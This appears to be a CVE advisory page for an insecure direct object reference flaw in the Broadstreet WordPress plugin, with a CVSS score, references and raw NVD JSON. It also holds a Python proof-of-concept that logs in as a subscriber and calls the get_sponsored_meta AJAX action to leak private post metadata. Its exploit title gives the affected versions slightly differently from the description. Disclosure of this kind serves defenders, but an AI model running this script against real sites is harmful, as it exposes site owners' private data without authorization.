CVE-2026-1881

Description

The Broadstreet plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.52.2 via the get_sponsored_meta AJAX action due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disclose any private post metadata.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Broadstreet <= 1.52.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: WordPress Broadstreet Plugin < 1.52.2 - IDOR (Authenticated)
# CVE: CVE-2026-1881

target_url = "http://target-wordpress.com/wp-admin/admin-ajax.php"
username = "subscriber"
password = "password"

session = requests.Session()

# Step 1: Authenticate as a low-privileged user
login_data = {
    'log': username,
    'pwd': password,
    'redirect_to': 'http://target-wordpress.com/wp-admin/',
    'wp-submit': 'Log In',
}
session.post("http://target-wordpress.com/wp-login.php", data=login_data)

# Step 2: Exploit IDOR in get_sponsored_meta action
# Attempt to access metadata for post ID 1 (usually private or sensitive)
payload = {
    'action': 'get_sponsored_meta',
    'post_id': '1', 
}

response = session.post(target_url, data=payload)

if response.status_code == 200:
    print(f"[+] Exploit successful! Leaked data:")
    print(response.text)
else:
    print("[-] Exploit failed or target patched.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1881
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1881
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1881/
[4] VulDB https://vuldb.com/cve/CVE-2026-1881
[5] https://plugins.trac.wordpress.org/changeset?old_path=%2Fbroadstreet/tags/1.52.2&new_path=%2Fbroadstreet/tags/1.53.2
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/328ccf8f-797b-4b1a-b0f1-afd8e44f41e6?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1881", "sourceIdentifier": "[email protected]", "published": "2026-05-21T02:16:32.437", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Broadstreet plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.52.2 via the get_sponsored_meta AJAX action due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disclose any private post metadata."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fbroadstreet/tags/1.52.2&new_path=%2Fbroadstreet/tags/1.53.2", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/328ccf8f-797b-4b1a-b0f1-afd8e44f41e6?source=cve", "source": "[email protected]"}]}}